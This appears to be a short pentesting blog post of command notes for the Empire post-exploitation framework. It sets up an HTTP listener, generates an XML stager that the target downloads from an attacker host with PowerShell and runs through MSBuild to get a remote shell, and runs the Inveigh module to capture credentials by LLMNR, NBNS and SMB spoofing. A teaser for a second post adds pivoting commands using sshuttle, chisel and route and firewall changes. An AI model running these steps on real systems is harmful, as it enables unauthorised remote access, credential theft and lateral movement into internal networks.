Skip to main content

Empire

By

 

 


https://github.com/BC-SECURITY/Empire/releases 

#installing Empire
apt-get install autoconf 
tar -xzfv empire.tar.gz
 cd setup && ./install 
cd ../ 
./empire
Reverse Shell to Empire

 Uselistener http 
(Empire: listeners/http) > set BindIP 10.10.10.10 
(Empire: listeners/http) > set Name 10.10.10.10
(Empire: listeners/http) > set Port 8001
(Empire: listeners/http) > execute
 

Getting the shell back 

usestager windows/launcher_xml
set Listener http
set OutFile /root/a.xml

#on the target machine run 
powershell curl http://10.10.10.12:8002/a.xml -outfile a.xml

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe c:\users\bhanu\a.xml
Running Inveigh on Empire

Agents
Interact [ID]
usemodule collection/inveigh
(Empire: powershell/collection/inveigh) > set SMB Y
(Empire: powershell/collection/inveigh) > set LLMNR Y
(Empire: powershell/collection/inveigh) > set NBNS Y
(Empire: powershell/collection/inveigh) > set Proxy Y
(Empire: powershell/collection/inveigh) > set IP 10.100.11.101
(Empire: powershell/collection/inveigh) > set HTTPResponse
<html><head><meta http-equiv='refresh' content='0; url=http://10.100.11.101'></head></html>
(Empire: powershell/collection/inveigh) > set RunTime 10
(Empire: powershell/collection/inveigh) > execute

 

 

 

 

 

Comments

Post a Comment

Popular posts from this blog

Pivoting into an internal network behind firewall

By
    Accessing a Victim network from Windows box which is pivoted to Kali #On Kali sshuttle --listen 0.0.0.0 -r user@10.10.10.10 192.168.1.0/24 or ./chisel server --port 9001 -reverse #On Victim ./chisel.exe client 10.10.10.1:9001 R:0.0.0.0:1080:socks .\chisel.exe client 10.10.10.1:9001 R:8080:127.0.0.1:8080 R:8888:127.0.0.1:8888 R:9090:127.0.0.1:9090 #On windows route print #delete default route route delete 0.0.0.0 #add a new route to kali- setting kali ip as gateway; kali_ip=which is on the same subnet as the windows box route add 0.0.0.0 mask 0.0.0.0 KALI_IP #Now you should be able to access all the sites which are accessible on kali from windows box. #If the above doesnt work #asuming Kali and windows are on Eht0 #add a firewall rule to allow Kali ip traffic netsh advfirewall firewall add rule name="Allow VPN Traffic" dir=in action=allow protocol=any remoteip=KALI_ETH0_IP #on Kali - Allow tun0 traffic to forward on iptables sudo iptables -P FORWARD ACCEPT ...
Post a Comment
Read more